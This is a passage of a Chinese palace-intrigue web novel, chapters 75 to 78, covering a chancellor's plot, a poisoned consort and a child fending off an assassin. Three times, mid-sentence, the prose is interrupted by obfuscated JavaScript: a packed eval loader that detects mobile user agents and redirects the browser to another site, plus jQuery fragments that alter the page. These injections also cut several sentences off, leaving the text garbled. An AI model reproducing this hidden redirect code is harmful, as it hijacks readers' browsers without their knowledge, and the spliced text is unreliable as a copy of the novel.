恍惚中他叹道:“你怎么变成如今这样善妒?右相当初可也救过你一条命......就为着他主张提了淑妃,你便记恨至今?” 王皇后周身一顿,有些不可置信地抬起头。 “你下去吧,朕不追究,若再有下次......” “臣妾并非为了一己私欲!”王皇后顿首道:“陛下厌憎臣妾也好,哪怕废了臣妾也好,臣妾都甘愿领受,可臣妾非为淑妃而来,亦非为了右相而来,皆是恐怕陛下圣德有亏,恐怕国祚不能永昌,陛下若不收回成命,臣妾甘愿跪死在这里!” 宋乐湛气得头脑发昏,他起身时晃了晃,几乎咆哮道:“好啊,好啊,你乐意跪便跪,不如到殿外去,跪个痛快跪到死!” 75. 骤雨旧逢 “娘娘怎么行事如此莽撞?” 王皇后忍着膝盖上一跳一跳的肿痛感,随着白兰茵的动作皱了皱眉。 周围的宫女都被挥退了去,屋中只剩下她二人,皇后没理白兰茵的质问,道:“珺儿去哪了,怎么不见人影?” 白兰茵哼了一声,没有说话,揉药油的手重了几分。 “嘶——混账丫头,你轻点。” 白兰茵阴阳怪气道:“娘娘有胆子和圣上叫板,难不成还怕这点小痛?” “快别揉了——哎呦!”皇后人前人后简直是两副面孔,什么端庄的架子全都抛在了后头,忍不了这有些磨人的胀痛感,像头尥蹶子的驴一样双腿一蹬,多亏白兰茵反应快,才没被踢个倒仰。 皇后看着地上瞪着她的白兰茵,有点心虚,伸手想拉人,可膝盖又痛又麻,到底没起来,一番挫败之后无奈地叹了一口气:“是我冲动,可是我总是抱着那么些侥幸,觉得万一圣上能听进那么些只言片语也是好的。此后我算是死了这个念头......你别坐地上,快起来。” 白兰茵也不好和皇后娘娘耍赖,于是扯了个凳子过来坐在一侧,两只涂满了药油的手摊着,觉得皮肤仍有些发热。 “皇上既然铁了心任命右相,娘娘就算再劝解,怕也是无济于事。” 皇后抬起了头,盯着自己乌青的膝盖看。 她其实还很年轻,眼角并无岁月的痕迹,洗尽铅华后看着仍然是个看起来漂亮得有些薄的姑娘。 “陛下说......”她开了口,想把那句“善妒”说给白兰茵听,可没来得及开口,喉头却哽住了。 白兰茵瞧她这副模样,也立刻明白她这副情态的缘由大概与什么有关,想劝解两句类似“皇上的心是在娘娘这儿的。”可话将要开口,又觉得这句也不是什么值得教人高兴的事,虚无缥缈,廉价得厉害。 “珺儿估计正和殿下在院子里玩儿呢,他们年纪相仿,要好得很.......” 白兰茵劝解不成,于是飞速转换话题,正在这时,一个年岁不大的小宫女冒冒失失在门外喊道:“娘娘,不好啦!殿下......殿下他......” 皇后和白兰茵皆是吓得三魂丢了七魄,皇后忘了自己的膝盖还残着,起身时被一阵又辣又痒刺激得险些栽倒。 “殿下和韩家小姐打起来了!” ...... 白兰茵瞧见韩珺的模样时,差点没背过气去。 六岁的小姑娘身上滚得和泥猴一般,皇后送的新衣裳也乌涂涂了一片,她闭紧了嘴一言不发,一只手捂着自己的脸蛋,倒好象受了什么伤一般。白兰茵急着将她的手扯下来,露出白团子般的脸上明晃晃的牙印。 “这......” 白兰茵心疼死了,瞬间埋怨起那身份尊贵的小兔崽子来,但毕竟人家孩子好歹算个龙子皇孙,将来十有八九要做皇上的,怎敢向人毫无顾忌地发作。 白兰茵这厢还未纠结完,一阵像被踩了尾巴的猫一般的哭声穿透耳膜,她朝源头看去,方才的心疼与纠结瞬间灰飞烟灭。 小皇子可比韩珺惨多了,额头上鼓了半个鸡蛋大的包,满身泥水不必说,袖子还撕了一截,露出的半截胳膊乌一块紫一块,哭得睁不开眼睛。 “到底怎么回事!” 白兰茵算是看明白了,韩珺深得韩濯真传,小小年纪就看得出日后是个拳头说话的犟种,在她嘴里是决计问不出什么的。于是转向小皇子,尽量轻柔地问道:“殿下,你身上这伤是这丫头打的么?” 不问还好,一问起来,小皇子瞬间成了天下第一大委屈,尖锐的哭声差点把屋顶掀翻,旁边的大宫女忙不迭地去哄,却被皇后制止了:“哭哭啼啼像什么话,你看人家珺儿!云儿,到底怎么回事说个明白!” 宋云的小脑瓜里对自家母后这种助长他人气焰的行为十分不满,叫道:“是她先打我的!” 韩珺尽管只比宋云大了一岁,却认为二人的心智已是一个天上一个地下,十分无奈地接受了长辈对她“陪皇子玩”的要求,把金枝玉叶当傻子应付,更觉得此人率先告状的行为十分丢份儿,不屑与他一般计较,几乎是骄傲着仰起脸认了这个罪名。口中“哼”了一声。 这实在和韩濯像一个模子里刻出来的,但一个小娃娃这么干,全然成了故作成熟,白兰茵竟然有点想笑。 “珺儿,是不是这小混蛋说了什么话惹你生气?”皇后瞧着装的高深莫测的小屁孩问道。 “我没有!”宋云气愤道。 韩珺胆大包天,竟然连皇后也懒得理,或许是想起什么不大美妙的事,脸上泛起一层红。 白兰茵觉得自家闺女混蛋得厉害,抬脚在她屁股上轻轻踹了一脚:“娘娘问你话!” 宋云抢道:“我没干什么,我还夸她呢!我说她匕首使得好,很厉害,想叫她以后做我王妃!” 此话一出,屋内几人全都愣了,几个大人没忍住,脸上都浮现出微笑来,谁知韩珺却不乐意了,不顾这么些人在场,把眼睛一蹬冲上去又要打,好歹被白兰茵拦住了:“娘娘,小女顽劣,您别见怪才是......” “谁做你王妃!”韩珺一面在白兰茵手下挣扎一边怒道。 宋云生怕她又过来打他,一面缩脖子一面闭眼喊道:“你明明答应了的!” “我现在不答应了!” 白兰茵竟然发现按住这小丫头不是件易事,急着训斥道:“什么答应不答应?京城多少名门闺秀,难道还轮得到你这顽劣丫头?快向殿下认错!” “我不认!”韩珺眼神凶狠:“他叫我给他换鞋洗衣裳煮饭,我才不干!” 宋云这些日子天天跟在韩珺屁股后,喜欢这个“姐姐”喜欢得不得了,即使挨了揍委屈得厉害,急着向长辈告状,却发现自己好像办错了事,珺姐姐似乎更讨厌他了,加之他人小鬼大,一下子便听出来白兰茵似乎不想叫“珺姐姐”嫁她,忙喊道:“常人家娘子都要给夫君换鞋煮饭,你不愿意就不愿意,换我给你换鞋煮饭,但你答应过,不能不算话!” 一个宫女没忍住笑出了声,皇后也不禁莞尔,唯独白兰茵吓得够呛,赶忙把两个祖宗拉开:“娘娘......两个孩子童言无忌,千万海涵,珺儿!快道歉!” 韩珺这回倒是没再倔,及其僵硬地朝宋云行了半个礼,还没开口就被比她矮了半头的小殿下拉住了:“我不要你道歉!我......” 白兰茵头皮发炸,打断道:“殿下宽宏大量,前途必定不可限量......哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310794|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,娘娘,我看还是......” 皇后叹了一口气,摆摆手道:“行了,宁儿,带殿下和珺儿去沐浴更衣,这是宫中不是烂泥塘,像什么样子......” 她看了看似乎松了一口气的白兰茵,又目送两个小家伙一个气鼓鼓一个泪汪汪的离开,却有那么一瞬间的恍惚,蓦然想起多年前太子殿外一场朦胧缠绵的雨,像梦一般。 韩濯的脸上一凉,似乎被一滴冷雨击中。 她抹了一把脸,抬头有些忧虑地瞧了瞧阴沉的天色。 “是不是要下雨了?”宋青瑛从马车中探出头来,劝道:“要不先不急着回去,在寺里休息一阵再说吧。” “这雨瞧着不像是只下一阵,”韩濯道:“还是快些走的好。” 宋青瑛千瞧万看,仍然觉得韩濯穿得有些单,道:“其实就算在寺里过夜也无妨。” “可不成,”韩濯道:“我饿得厉害,几日来就馋一口百草巷的花雕醉鸡,昨日没买到,今儿好不容易托了吴钩兄弟早早排队买一只回来,若我今晚夜不归宿冷落珍馐反而去啃庙里的青菜,岂不是天大的罪过?”说着,她退而求其次地接过了宋青瑛递给她的斗笠:“我戴着这个就成,都入了夏了,放心,不会着凉,再说了......” 韩濯对车内的宋青瑛笑道:“今日你我也算是见过了高堂,你舍得错过一夜良宵......” 宋青瑛手一顿,纠结片刻,终于落败:“那你再多披一层衣服......” 韩濯大笑一声应了,将鞭一扬,稳稳当当地赶起了车。 宋青瑛几年来虽进出西京无数次,却从未想着特意回自己的生母及妹妹埋骨之地看看,一来时过境迁,去了也不知如何祭拜,二来他也不知如何面对上一辈的往事,照理来讲,似乎他多少应当伤感,可他纵使如何努力,也只能调动些稀薄的惆怅来,反倒使他疑心自己是不是个无情的怪物。 这次前来祭拜,倒是韩濯的提议,她对惠妃娘娘和公主,自始至终带了些敬意与惋惜,兼之又是宋青瑛的亲娘,于情于理都该来看看,于是挑了个最近的吉日,二人一早便带了香烛祭品去往普化寺,没成想天公不作美,返程时竟开始下雨。 雨势渐渐大了起来,视线被涂上迅疾且稠密的白线,韩濯纵使胆子大,也放缓了速度,不教车轮陷入郊野的泥泞中去。 宋青瑛还是担心,掀开前面帘子说了几句话,可骤然增大的雨势仿若雷声轰鸣,韩濯又聋了一只耳朵完全没听清,他正打算扯着嗓子喊两句,却瞧见前方道路的拐角处,似乎有什么东西在泥水里缓缓爬行。 韩濯显然也瞧见了:“好像是个人!” 她果断地勒马跳了下来,宋青瑛紧随其后,奔向那人身前。 短短几步路,二人身上皆被雨水打透,那伏在地上的人方才还挣扎着伸手似乎要拦住车架,此时见二人似乎是瞧见了自己,却仿佛耗尽了力气,也不知是晕了还是死了,头一栽伏在了泥水中,瞬时人事不知。 “不会死了吧。”韩濯奔到人近前,将他身子翻了过来,霎时吃了一惊。 那人额头唇角都是伤,双腿的角度扭曲异常,暗暗的血从膝盖处的布料透出来,显然是被敲碎了膝盖。 “姚申!?” 76. 忠臣奸臣 马车在官道上疾驰,宋青瑛将姚申尽可能平稳地安顿好,防止颠簸使伤情雪上加霜。此人毫无声息,仿佛死了一般,宋青瑛不住地探向他脖子处的动脉,确定他仍有一息尚存。 雨势小了下来,却没有要停的趋势,韩濯阴沉着脸,脑中无数猜测闪电一般划过。 “若崔子盛说的是真的,那就在姚家与王公辅结盟的当口出现这种事,到底意味着什么?” “难道是王公辅想要姚申的命......姚申到底知道什么,为什么引来杀身之祸?姚家知情么?还是说,姚家对此默许?” 韩濯被自己的猜测惊得周身发凉,她的衣裳湿淋淋地贴在了皮肤上,整个人都绷紧了,恨不能赶快回到侯府,可进了城后,她的速度不可避免地慢了下来,更何况一个浑身湿透的人不管不顾地城中疾驰,怎么看怎么可疑。因此纵使人命关天,韩濯也只得如春日观花般不紧不慢地缓行。 阴雨连绵,即便西京繁华,此时人流也较往日少了不少,迎面而来一辆称得上朴素的马车,极平常,极不起眼,可随着那车与韩濯越行越近,韩濯却感觉到了一种使人汗毛倒竖的危机感,胳膊上的寒毛几乎要把贴在身上的湿袍子撑起来。 她不动声色地与那马车擦肩而过,刚要松一口气,一阵冷风吹过,把那辆车的帘子掀了开来。 “停下。” 韩濯知道这是谁的声音,心中突地一跳,暗中苦道:真是怕什么来什么。于是干脆装聋,没理会那边的动静。 “将军好雅兴。”一个有些低沉的声音响起:“不知是哪里来的贵眷,竟能使唤得动英武侯亲自赶车?” 这回装聋也不好使了,韩濯暗中长呼了一口气,向身后看去。 王公辅身着一袭青色长袍,和从前韩濯印象中在朝堂上被人诟病一手遮天的权臣大相径庭,倒十分像无欲无求的山野隐士,手持纸伞立于车旁,仿佛下一秒就要烹茶论道。韩濯佯装惊讶道:“右相大人,怎么这样的阴雨天还要出门,可是有什么急事?” 王公辅微笑道:“本欲去京郊道观中小住一阵,近日肝火旺盛,睡得很不好,将军不如与我同行?” 韩濯下了车,四平八稳道:“大人好雅兴,可韩某不通风雅之事,怕是不能奉陪了。” 王公辅扫了一眼韩濯的袖口:“侯爷的袖子......” 韩濯瞧见袖口一片方才不小心染上的血迹,心中打了个突,仍不动声色道:“有劳,今早练功时用的刀不顺手,不小心划伤了一块。” “侯爷如此勤勉,当真是我大齐肱骨。” “愧不敢当。” 王公辅笑道:“不知侯爷行色匆匆为了哪般?这车中可是载了什么贵人,不妨给在下引荐一番?” 韩濯道:“在下在灌州曾与一世外高人有师徒之谊,他老人家今日有雅兴与我一聚,我自然得风雨无阻接他的大驾。” 韩濯话音刚落,车内的宋青瑛适时地轻轻咳了咳,帘子被不知何处的风微微掀开,露出车内人一小片幕篱的白影。 韩濯露出一片歉然:“先生身子不好,又不爱与人相交,还望右相大人见谅。” 王公辅道:“侯爷实在客气了,既然如此,我又何必去讨人嫌?只是侯爷回京许久,在下一直盼着与您把酒言欢一番,却未尝成行,后日在下在解忧居设宴,请侯爷务必赏光。” 听到“解忧居”三字,韩濯眉心忍不住一跳,涌上一阵微妙的心安,道:“如此,在下便却之不恭了。” 直到韩濯的马车渐渐行远,王公辅嘴角挂着的假笑才收了回去。 “福安,多派几个人,给我盯着英武侯府的动静,注意分寸,莫要打草惊蛇。” “好重的血腥气。” 阴雨天气,又是在室外,方才的气味并不明晰,可一旦进了屋,姚申身上浓重的血腥气登时充满了整个屋子,韩濯不由得皱了皱眉,瞧见他身上的伤十分骇人,即便不是致命伤,对姚申这样的文弱书生来讲,也是照残了打的:“阿信!” 宋青瑛一边利落地将与血肉粘连在一块的衣料迅速裁下来,一面道:“清之做什么?” “自然是叫郎中......” 宋青瑛目光闪烁了一会儿,道:“方才进门前,我已叫小目去叫堂中的大夫来,让他们从后院进门。” 韩濯了然:“你是说王公辅他......” “是。”宋青瑛道:“此刻保不齐侯内外有多少眼线,此事突然,我猜王公辅也是刚刚接到消息,此时出城,是冲着要他的命去的。” “我想也是,他必定起了疑,若是去了郊外没找到姚申,那他定然......” 韩濯还未说完,只听得躺在床上的人突然发出一阵呻吟。 韩濯立刻止住了话头,宋青瑛按住了因痛苦而扭动的姚申:“姚公子,你能听见我说话么?” 姚申狠命挣扎了起来,宋青瑛险些没按住,只好换了韩濯:“姚兄?......” 韩濯话音未落,姚申似乎在挣动中碰到了断腿,面部扭曲中突然睁开了眼,一只手则死死扒住了韩濯的胳膊:“淑妃是王公辅的人,圣上危险......” 韩濯被他攥得手臂现出鲜红的指痕,却丝毫没感到疼痛,她被姚申这石破天惊的一句话击得呆立当场,没反应过来什么意思:“什么?” 可姚申似乎耗尽了最后一丝力气,那只扒住了韩濯的手垂了下来,又不动了。 韩濯回头望向宋青瑛,二人皆震动万分,宋青瑛首先反应过来道:“这下我们倒是知道,姚家为何要对自家公子下手了。” 想来姚申知道了姚家和右相密谋之事, 韩濯被姚申一句话搅成浆糊的脑子迅速动了起来,叫道:“阿信!” 宋青瑛拉住了韩濯的手,道:“清之要做什么?” 韩濯道:“王公辅既然早晚要知道,我们不妨早些给他个答案。” 宋青瑛尚未明白韩濯的意思,便被韩濯拉住问道:“阿瑛,你记不记得百草巷里面有个背尸匠?我要是要尸体,路路通能不能帮我弄来?” 两日后,醉仙楼。 “右相大人何必如此客气。” “将军为大齐久驻雁关,在下代百姓敬您。” 韩濯笑道:“为国戍边是为将者的本分,更何况陛下已赏过不知多少珍稀物事,哪里又需右相费心呢?” 王公辅微微笑了笑,倒是也没恼,慢条斯理道:“侯爷是聪明人,我看你我也不必在这里打机锋。” 韩濯惊讶道:“打机锋?如何见得,大人说这话我倒是不明白了。” 她看似镇定,手心却出了一层汗,如果王公辅与她虚与委蛇倒是还有回转余地,可要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在下弹劾侯爷的折子,上疏的都是些无关痛痒的小事,皇上即便追究起来,也伤不到您一丝油皮,可前些日子内阁接到的折子里,可是捅出了侯爷结交悍匪的事,更兼之与关外阴山一带自封为王的宵小之辈通信往来,这通敌之罪若是定下来......” 韩濯心中一凛,定定看着王公辅:“这等无稽之谈的折子,竟然也递得到右相手里?” 王公辅道:“是否是无稽之谈,暂且不提,可这折子,在下压下了。” 韩濯道:“胡言乱语的东西,何必去碍陛下的眼?压下是应当。” “陛下可未必觉得碍眼。”王公辅看着韩濯的眼睛:“侯爷觉得,这些事递到我面前,里面难道没有圣上的授意?” 韩濯停了下来,冷冷道:“右相什么意思?” 王公辅仍然面上带着虚假的笑:“侯爷,这折子若是被我捅到陛下面前,我也未必有几日好活,当今天下有多少文章骂在下是佞臣贼子,难道陛下当真充耳不闻,也要如此信任在下?陛下重用在下,是为了借我这佞臣的手除掉你这根忠良之刺,侯爷蒙冤而死之后,我可很快便被陛下秋后算账,成了残害忠良遗臭万年的奸相,全陛下一个忠臣的名声!” 韩濯被这一番话说得心惊胆战。 这到底是事实,还是王公辅拉人上船的托辞? 王公辅觑着韩濯的脸色,缓缓道:“韩姑娘,你我是一根绳上的蚂蚱。” 韩濯悚然一惊,对上了王公辅的眼睛。 77. 非异人任 解忧居的阁楼并不透风,入了夏,霉味中混着潮气,宋青瑛的脸隐没在阴影当中,只有一线昏黄的灯光从小窗透过来,照亮一只不带情绪的眼。 听到门开的响动,宋青瑛才回神,他后退两步,整个人完全浸没在了阴影里,左掌心微微刺痛,他抬起手一瞧,才发觉就在方才韩濯与王公辅交谈之时,指甲已将掌心的皮肉攥出了血,因紧张而流出的汗刺激着破损的皮肉,激起挥之不去的轻微辣痛,他长出一口气,看向进门的人。 “你都听见了吧。” 韩濯的脸色很差,眉宇间带了些戾气。 宋青瑛点头:“清之作何打算?” “我和王公辅说,英武侯只权当从未和右相见过面,也不认得什么淑妃姚申。” “清之难道真的打算坐壁上观?” 韩濯拉了一张藤椅坐了下来:“我只能这么说稳住他,毕竟只要韩家不多管闲事,对他来说也就够了。” “依你看,”韩濯复又问道:“他说的话有几分是真?” 宋青瑛拢着长袖,在暗中缓缓踱步:“我看......有八分真。” 韩濯骂了很脏的一句。 宋青瑛走到韩濯面前弯下了腰:“清之,若你不想管这烂摊子,我们明日便离京去,去临塘,去扬州巴州......随便你做些木牛流马一般的新鲜物事,在家里设个奇门八卦阵都无所谓。我把路路通交予小目,我们就自己就开一间布庄,天地之大随便我们逍遥快活......” 韩濯已适应了黑暗,此时宋青瑛的眼睛成了唯一的光源,亮得惊人。 她必须承认,那一瞬间,她对宋青瑛说的一切产生了强烈无比的渴望。 自到大齐以来,将近八年时光,她几乎每一日都在刀尖上行走,几次三番命悬一线,难以入眠。她不停地劝解自己不要当真,只当一次游戏,一场幻梦,可她不断地与越来越多的人产生或轻或重的羁绊,犹如作茧自囚,如今,或者从她来到此界的那一刻起,整个大齐的命运都与自己绑在了一处,牵一发而动全身。 我不该做个正常人么?难道天赐我此等机缘,只教我为跌宕命途苦苦挣扎,为旧识至亲离散而痛苦难言,我只是一个普通的学生,到底遭了什么孽,一定要肩负这种过重的担子?我凭什么不能做个寻常人,去幸福地一生庸碌? 她心中的念头只呼啸了几瞬。 那一线光照里微尘飘舞,宋青瑛认真地瞧着她,身体竟然有些微微的颤抖。 “阿瑛,你知道,我不能。” 宋青瑛的肩膀微微垂了下来:“我知道你不会答应......只是,我还抱着些不切实际的幻想,我总是喜欢做一些春秋大梦。” 韩濯笑了笑。 有些责任不得不背负,有些路不得不走,事到如今,早已分不清自己是一个普通的学生还是曾经那个韩清之。或许,她就是我。 怎么能临阵脱逃,教自己失望? “我......” 韩濯话音未落,宋青瑛的手便抚上了她的脸:“你要做什么,我都奉陪到底,是生是死都甘之如饴,你别想丢下我。” 韩濯定定看着他:“这次真的可能会死。” “我喜欢的就是这样的韩清之。” 韩濯猛地捞过宋青瑛的脖子,不管不顾地吻了上去。 / “淑妃娘娘,皇后娘娘请您到春秋亭赏荷。” 淑妃皱了皱眉,她刚从皇帝那出来,就遇上了皇后身边以宁儿为首的宫女传话,她刚刚才出过的冷汗未来得及干便又惊出一层,跳得本就快的心几乎要将肋骨擂痛:“臣妾身子不适,恐怕要扫了皇后娘娘的雅兴,改日定会亲自向娘娘赔罪。” 宁儿面无表情道:“皇后娘娘说,算来淑妃娘娘还有一月便要生产,更应当多走动走动,不然到时候出了岔子,宫中没人担得起责任。” 淑妃身边的宫女欲上前质问,却被她拦下了。 “姑娘带路吧。” 她适时地扶着有些笨重的肚子,做出了些吃力的模样。 一路行的都是荫凉地,宁儿低着头,只用耳朵听着淑妃脚步的轻重缓急。 “娘娘身子不方便,还要不辞辛劳地为皇上侍药,倒是一片忠心。” 淑妃不知为何脸色白了白:“去春秋亭似乎不会经过这等幽僻之地。” “暑天炎热,奴婢是怕娘娘染了暑气。” 正在这时,淑妃突然扶着身边的小宫女,面色痛苦道:“今日着实是无法赴约,请宁儿姑娘转告娘娘......臣妾实在......” 此处鲜少人烟,宁儿并未露出慌乱神色,只轻轻一点头,身旁两个女官便拽走了淑妃身边欲张嘴大喊的宫女,三两下塞了嘴。 淑妃被两个女官架在中间,来不及继续装病,惊道:“你们要造......” 宁儿迅速伸手捂住了她的嘴:“娘娘,为了你与腹中孩儿的一条性命,您最好安静些......郑太医已经下狱,他供不供出娘娘,还要看娘娘现在如何选。” 花木深处微动,似有木轮轻轻滚过的声音传来,淑妃顺着声音看去,见到坐在轮椅上的人揭开兜帽,险些又惊呼出声。 “獾郎!” “二姐姐。” 姚申犹带病容,嘴角却勉强扯出一丝笑容。 “爹说你......” “死了对么?”姚申道,随即苦笑一声:“几乎差不多,的确是照死了打的,断我双腿,囚我于暗室,我拼上性命才买通王柴跑出来,若非遇上英武侯,我怕是早就被王公辅追杀死了。” 淑妃颤抖着去掀他腿上的袍子,却被他并不有力的手拦住了:“二姐姐还是莫要看了,我双膝已废。” 淑妃流下泪来:“你做什么这样傻?我冒着风险为王公辅做事,就是以为你也和姚家一样,不得不与右相站在一处才得以保全。整个家里,我就只你一个亲人,谁知你......” 姚申道:“是我教二姐姐冒险,教你受苦,是我自己不争气,整个姚家一直以我为耻,因而即便打死我也并不足惜。但是我师从太师,怎能与王公辅这等乱臣贼子为伍?” 淑妃泣不成声:“你受罪啊獾郎,你受罪啊......” “亡羊补牢,为时未晚。”姚申道:“我们与皇后娘娘已商议好,除掉王公辅后,二姐姐先前做的一切都会被抹得干干净净,成为永远的秘密......” “来不及了......”淑妃哽咽道。 “什么?”姚申几乎没找到自己的声音。 “王公辅这次给我的毒,三个时辰内便能要了性命,我已经......” 姚申骇然变色。 王公辅已经知道了。 / “托吴钩兄弟的脸面加上御林军的一小部分,我们调得动的就只有这些。”韩濯对王皇后道。 她此时做宫女打扮,与平日里男装的模样大相径庭,宋青瑛也乔装成了外出采买的宦官,二人一同混进宫来,废了不少周折。 “王公辅虽权倾朝野,但兵权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331106|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是没有的,他又平日里喜欢扮作纯臣不落人口实,也不会和哪位将军结交,若要动兵,应当充其量也只能做行刺之事,我们只需安顿好淑妃那边就好,至于兵力只是有备无患,将军不必过于忧心。” 韩濯心中纵使依旧忧虑,但多想无益,只得如此。 皇后也是今朝才得知这么大一个称得上传奇的秘辛,最初的震惊消退之后,还是第一回细瞧韩濯的模样。 和寻常女子并没有什么不同。 她突然就明白白兰茵为什么要把韩珺送去雁关了。 “将军,这次风波过后......” 韩濯行了一礼道:“娘娘若是肯活我韩濯一命,便教臣从此卸甲归田,至于断雁关,臣会提前安顿好,请娘娘放心。” “将军何出此言?你驻守雁关何等辛劳,难道这将军印就因为你是女人而转手他人?这雁关我可不放心他人来守,圣上更不会放心。” “并非为了此事,娘娘放心臣,可圣上心中如何想,您未必清楚。” 王皇后还要说什么,可看向韩濯的眼睛时,自宋乐湛登基以来他二人大大小小不和的政见就在此时连成了一条线,她头脑清晰无比,却仍不可置信道:“将军!” 韩濯跪道:“臣对娘娘说出这种话,本是僭越了,可臣若是有命活过此次,便只做个寻常布衣工匠,这种大逆不道的话,也再也不会传到娘娘耳中。” 王皇后忙将人扶起:“将军......何来僭越,只是着实委屈了你。” 韩濯只是微微笑道:“并不委屈,臣志向不在疆场,也不在朝堂,只愿日后能做得出可改天换日之器,哪怕是肉体凡胎之人,也能上九天下五洋,车驾无马自动,书灯无火自明,坐地日行八万里,天堑可变通途。” 王皇后听着这古怪姑娘梦一般的胡话,觉得荒谬至极,可她的眼神却及其认真,半分也不像开玩笑。倒教她产生了一点背离理智的信任,她听说过这位传奇人物在灌州主张修缮的神迹般的岷江堰,那么这些听起来空中楼阁般的幻想,会不会也有一日落入实地? 因此纵使听了一番天方夜谭般的长篇大论,王皇后仍然点了点头:“若将军能早日如愿,是我大齐的幸运和福气。” 韩濯突然就觉得一身轻松,她五年前不知丢到何处的魂儿仿佛今日终于回到了自己的身体里,她瞧向紧闭的房门,灯光把守在门外的宋青瑛精致的剪影投在窗上,很是漂亮。殿外传来一点轻巧的脚步声,站在了宋青瑛身侧。 “秋霜,”皇后娘娘唤道:“皇上那边如何?” “回娘娘,杨公公说陛下睡下了。”秋霜在门外回道。 皇后皱了皱眉:“杨公公?常随圣上身边的陈公公可见到了?” 秋霜脆生生答道:“杨公公说,陈公公奉陛下的命来给娘娘您送几样贡品,想是早该到了,怎么娘娘没见着么?” 皇后思索片刻,眉头越锁越紧:“有谁看见陈公公了,银笙呢?” 韩濯了然,随着皇后起身,打开了房门。 不多时,一个年纪不大的小宫女被带到了前面,她没入宫许久,以为自己犯了事,颤颤巍巍道:“陈公公方才是来过......但他半路说是要解手,不许我们跟着,后来我们找不见他,只当公公自己寻到路办完了事......” “他去了那个方向?”皇后沉声问道。 “西......西边。” 韩濯心中突地一跳,转头看见皇后,也是一般的大惊失色。 那是宋云住的地方! 78. 玉阶蒙尘 小孩子大多贪凉,即便枕着凉席,睡得也并不安稳,宋云把一张软糯的小脸贴在了席子上,仍然翻来覆去地难受,他怕黑,因此即便到了就寝之时也要在床帐外点几盏灯,必要整个屋子亮堂堂才睡得着。 灯花几次明灭,突然似乎突然透进屋一阵冷风,烛火倏然暗了下去。 宋云感到视线突然的暗淡,从心底泛出一阵恐惧,他试探着叫道:“孔姑姑?” 没人应答。 他突然觉得冷,怕得周身打颤,裹紧被子做了片刻心理建设,又大胆地喊道:“孔姑姑!” 仍是尤为反常的一片寂静。 宋云几乎要被稚嫩灵魂深处的恐惧逼疯,他在龟缩于此与下床看看两者之间摇摆了几乎半辈子的时间,终于从被子里缓缓伸出腿,光脚踩在了地上。 他抱着对他来说有些大的枕头,摸索着前进,昏暗的灯火照不到的地方仿佛是吞噬了光亮的巨口。 “子不语怪力乱神,子不语......”他反复念着先生教过的他半懂不懂的话,却突然脚底触到了一丝粘腻,他来不及看自己踩了什么,便大声尖叫起来。 一个臃肿的身影闪过,铁器的寒光接踵而至,宋云完全傻了,本该赶快逃命,可脚下仿佛生了根一般半分也动不得,在他身旁地下,孔姑姑的脖颈仍在汩汩流出粘腻的血,她双目圆整,似乎有一千个不可置信。 宋云闭上了眼。 “咚”地一声闷响,那臃肿的身影痛呼一声,灯光瞬间亮了起来,白兰茵手中尚攥着一块镇纸,“吁吁”喘着粗气,似乎是奔跑而来。 “白姨......”宋云仿若遇见了救星,想哭却吓得口目皆干,手脚不知道怎么动,只听那拿着刀的人低吼一声,又扑了过来。 宋云还未来得及尖叫,便被白兰茵甩到了房间的另一侧,她此时不知从何处生出一股怪力,宋云的后背狠狠撞上了柜子,痛得大叫一声。 方才白兰茵手上这方镇纸是冲陈公公后脑勺上招呼的,可是她毕竟并非武人,这一下没什么准头,直接拍到了后背上,此刻直面闪着寒光的铁器,她方才光凭一股热血冲动驱使的勇气消解下去,不由得手脚发软,她勉强躲过一刀,下一秒就被踢飞出去,这一下正中小腹,她后腰撞上床脚,在钻心的疼痛中尝到了口中的血味。 “殿下!” 在白兰茵的叫喊下,陈公公奔向了缩成一团的宋云,带了衰朽气味的手捏住了他的脖颈,一把尖刀很快便要扎下去! 又听得“邦”地一声,一大团沉重的物事似乎从柜顶落在了陈公公脑袋上,砸得他大叫一声,双眼昏花,宋云趁着这当口张嘴狠狠咬住了他的手。 陈公公剧痛之下狠狠甩着胳膊,可宋云仿佛打定了主意死不松口,随后“咚”地一下落在地上,只觉口中一阵麻痛,几颗细小的牙齿已被崩断,那把尖刀却迟迟没扎到他身上。 他连滚带爬向后挪,糊了满嘴的血,“噗呲”一声,铁器刺入血肉,他目瞪口呆地看向前方,失声叫道:“珺姐姐!” 白兰茵听闻此音,周身都凉了,匍匐着向前爬过去,却听见“当啷”一声,陈公公手中那把尖刀坠落于地。铁器入肉的闷响却仍然未绝,韩珺骑在陈公公身上,咬紧牙关在他的脖颈肩颈上扎了无数个血洞。 白兰茵也傻在了当场。 陈公公喉管已被切断,再不能发一言,山一般毫无声息倒下,砸在地上发出闷响。 韩珺在半途松了手,落在地上滚了几团,幼稚的脸上溅了半面血,手中仍然紧紧握着那把新得的匕首。 